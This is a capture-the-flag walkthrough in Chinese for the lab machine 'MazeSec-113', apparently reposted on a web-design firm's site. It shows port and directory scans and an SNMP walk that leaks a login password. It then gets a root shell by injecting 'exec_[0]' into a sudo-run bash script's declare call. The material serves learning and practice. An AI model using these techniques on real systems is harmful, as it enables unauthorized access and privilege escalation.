尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
MazeSec-113
信息搜集端口扫描┌──(kali㉿kali)-[~]└─$ nmap-A-p-192.168.21.7 Starting Nmap7.99(https://nmap.org)at2026-10-07 05:38-0400Nmap scan reportfor192.168.21.7 Host is up(0.00065s latency). Not shown:65533closed tcp ports(reset)PORT STATE SERVICE VERSION22/tcpopensshOpenSSH8.4p1 Debian5deb11u3(protocol2.0)|ssh-hostkey:|3072f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7(RSA)|256bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d(ECDSA)|_2563b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb(ED25519)80/tcpopenhttp Apache httpd2.4.62((Debian))|_http-title: Mazesec welcome u|_http-server-header: Apache/2.4.62(Debian)MAC Address: 08:00:27:66:46:FA(Oracle VirtualBox virtual NIC)Device type: general purpose|router Running: Linux4.X|5.X, MikroTik RouterOS7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux4.15-5.19, OpenWrt21.02(Linux5.4), MikroTik RouterOS7.2-7.5(Linux5.6.3)Network Distance:1hop Service Info: OS: Linux;CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS10.65ms192.168.21.7 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.Nmap done:1IP address(1hostup)scannedin10.59seconds漏洞利用看一下80端口有什么┌──(kali㉿kali)-[~]└─$curlhttp://192.168.21.7!DOCTYPE htmlhtmllangzh-CNheadmetacharsetUTF-8metanameviewportcontentwidthdevice-width, initial-scale1.0titleMazesec welcome u/titlestylebody{margin:0;padding:0;height: 100vh;display: flex;justify-content: center;align-items: center;background-color:#f5f5f5;font-family: Arial, sans-serif;}.quote{font-size:2.5rem;text-align: center;color:#333;padding: 20px;max-width: 800px;}/style/headbodydivclassquoteThe quieter you become, themoreyou are able to hear./div/body/html目录枚举┌──(kali㉿kali)-[~]└─$ gobusterdir-uhttp://192.168.21.7-w/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt-xhtml,php,txt,jpg,png,zip,gitGobuster v3.8.2 by OJ Reeves(TheColonial)Christian Mehlmauer(firefart)[]Url: http://192.168.21.7[]Method: GET[]Threads:10[]Wordlist: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt[]Negative Status codes:404[]User Agent: gobuster/3.8.2[]Extensions: html,php,txt,jpg,png,zip,git[]Timeout: 10sStarting gobusterindirectory enumeration modeindex.html(Status:200)[Size:796]server-status(Status:403)[Size:277]logitech-quickcam_w0qqcatrefzc5qqfbdz1qqfclz3qqfposz95112qqfromzr14qqfrppz50qqfsclz1qqfsooz1qqfsopz1qqfssz0qqfstypez1qqftrtz1qqftrvz1qqftsz2qqnojsprzyqqpfidz0qqsaatcz1qqsacatzq2d1qqsacqyopzgeqqsacurz0qqsadisz200qqsaslopz1qqsofocuszbsqqsorefinesearchz1.html(Status:403)[Size:277]Progress:9482016/9482016(100.00%)Finished没发现什么能走的方向了在扫一下udp端口┌──(kali㉿kali)-[~]└─$ nmap-sU--min-rate10000192.168.21.7 Starting Nmap7.99(https://nmap.org)at2026-10-07 06:54-0400Nmap scan reportfor192.168.21.7 Host is up(0.00049s latency). Not shown:993open|filtered udp ports(no-response)PORT STATE SERVICE161/udpopensnmp MAC Address: 08:00:27:66:46:FA(Oracle VirtualBox virtual NIC)Nmap done:1IP address(1hostup)scannedin0.99seconds看一下snmp有什么https://hacktricks.wiki/network-services-pentesting/pentesting-snmp/index.html┌──(kali㉿kali)-[~]└─$ snmpbulkwalk-cpublic-v2c192.168.21.7 iso.3.6.1.2.1.25.4.2.1.4.383STRING:service --user welcome --password mMOq2WWONQiiY8TinSRF --host localhost --port 8080使用账号密码尝试登陆一下┌──(kali㉿kali)-[~]└─$sshwelcome192.168.21.7 The authenticity ofhost192.168.21.7 (192.168.21.7)cant be established. ED25519 key fingerprint is: SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHTYlWuYC85SbWSQ This host key is known by the following other names/addresses: ~/.ssh/known_hosts:1: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 192.168.21.7 (ED25519) to the list of known hosts. ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to store now, decrypt later attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html welcome192.168.21.7s password: Linux1134.19.0-27-amd64#1 SMP Debian 4.19.316-1 (2024-06-25) x86_64The programs included with the Debian GNU/Linux system arefreesoftware;the exact distribution termsforeach program are describedinthe individual filesin/usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jan1408:32:232026from192.168.3.94 welcome113:~$iduid1000(welcome)gid1000(welcome)groups1000(welcome)权限提升welcome113:~$ls-latotal24drwxr-xr-x2welcome welcome4096Jan142026.drwxr-xr-x3root root4096Apr112025..lrwxrwxrwx1root root9Jan142026.bash_history -/dev/null -rw-r--r--1welcome welcome220Apr112025.bash_logout -rw-r--r--1welcome welcome3526Apr112025.bashrc -rw-r--r--1welcome welcome807Apr112025.profile -rw-r--r--1root root44Jan142026user.txt welcome113:~$sudo-lMatching Defaults entriesforwelcome on113: env_reset, mail_badpass,secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User welcome may run the following commands on113:(ALL)NOPASSWD: /opt/113.sh welcome113:~$cat/opt/113.sh#!/bin/bashsandbox$(mktemp-d)cd$sandboxif[$#-ne3];thenexitfiif[$3!mazesec]thenecho\$3must be mazesecexitelse/bin/cp /usr/bin/mazesec$sandboxexec_$sandbox/mazesecfi//只检查了字符串exec_。如果传入exec_[0]declare会把exec_变成数组并设置第0个元素为/bin/bash。之后$exec_等价于${exec_[0]}于是执行/bin/bash而脚本本身是通过sudo以root运行的所以得到root shellif[$1exec_];thenexitfideclare--$1$2$exec_welcome113:~$sudo/opt/113.shexec_[0]/bin/bashmazesec root113:/tmp/tmp.fLo2tSwt6k# iduid0(root)gid0(root)groups0(root)
RELATED

相关推荐

Photoshop - Photoshop 使用简单的选择工具

Photoshop - Photoshop 使用简单的选择工具

了解如何使用选框和套索工具选择几何形状、不规则和直边选区。选择几何形状,不规则和直边选区*矩形和方形选区矩形选框工具用于创建矩形和方形选区。在工具栏中选择矩形选框工具,点击并拖动鼠标创建矩形选区。如果需要创建方形选区,则请在拖动…

📅 2026/10/8 7:10:17
开源 hostapd:路由器 Wi‑Fi 热点背后的守护进程

开源 hostapd:路由器 Wi‑Fi 热点背后的守护进程

家里路由一开,手机就能搜到 SSID、输密码、连上网。页面上改个信道、开个访客网络,好像只是点了几下。可对做网关、刷 OpenWrt、啃 Wi‑Fi 驱动的人来说,真正在底层管着“谁能连、用什么加密、Beacon 怎么发”的,常常是用户态里一…

📅 2026/10/8 7:10:17
5DMind 我开源项目的一次尝试

5DMind 我开源项目的一次尝试

#创作灵感# 在普通的AI聊天对话工具中我想要学习某些内容或者想要快速上手一件事情经常遇到AI回复一些专有名词,或者AI长篇大论之后我仍有许多困惑的地方。 所以我就做了这个5DMind 这个是个很简单的东西。可以对AI回复创建分支,及时你又在多个问题可…

📅 2026/10/8 7:10:17
MORE NEWS

更多资讯

📰

90DaysOfDevOps Day 83:Grafana 数据可视化实战——基于 kube-prometheus 与 Prometheus Operator 部署监控面板

文档/教程 【免费下载链接】90DaysOfDevOps This repository started out as a learning in public project for myself and has now become a structured learning map for many in the community. We have 3 years under our belt covering all things DevOps, including Pri…

📰

学校心理咨询聊天室毕设源码:小程序+SSM+MySQL全链路解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

OpenRig:基于Node.js+tmux的本地化AI开发环境构建指南

1. 项目概述:OpenRig 是什么,它解决的到底是什么问题?OpenRig 这个名字乍一听像某种硬件矿机管理工具,或是开源的图形渲染集群调度器——但结合当前热词里高频出现的Node.js、tmux、Claude、Codex,再叠加“cc switch l…

📰

k3d cluster start 命令详解:在 Docker 中启动已存在 k3s 集群的完整指南

云原生容器编排 【免费下载链接】k3d Little helper to run CNCFs k3s in Docker 项目地址: https://gitcode.com/gh_mirrors/k3/k3d 点击查看 免费下载 k3d 是一个在 Docker 中运行 CNCF k3s 的轻量级辅助工具(Little helper to run CNCFs k3s in Dock…

📰

Superpowers技能库详解:让AI编程助手从自由发挥到流程可控

最近只要聊到 AI 辅助编程,就很难绕开 superpowers 这个词。我第一次看到的时候也愣了一下:这到底是个框架、一个插件,还是一套提示词?后来把仓库翻完、又在真实项目里跑了几轮,才确认它本质上是一套给 AI 助手用的技能…

📰

n8n实战指南:AI原生混合编程自动化平台核心能力与部署解析

1. n8n 项目概述:为什么说它是“AI 原生的混合编程自动化平台”做自动化工具这个领域,我前前后后接触了不少。早些年用的是 Zapier,后来换过 Make(当时还叫 Integromat),再往后自己折腾过 Huginn、Node-RED…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬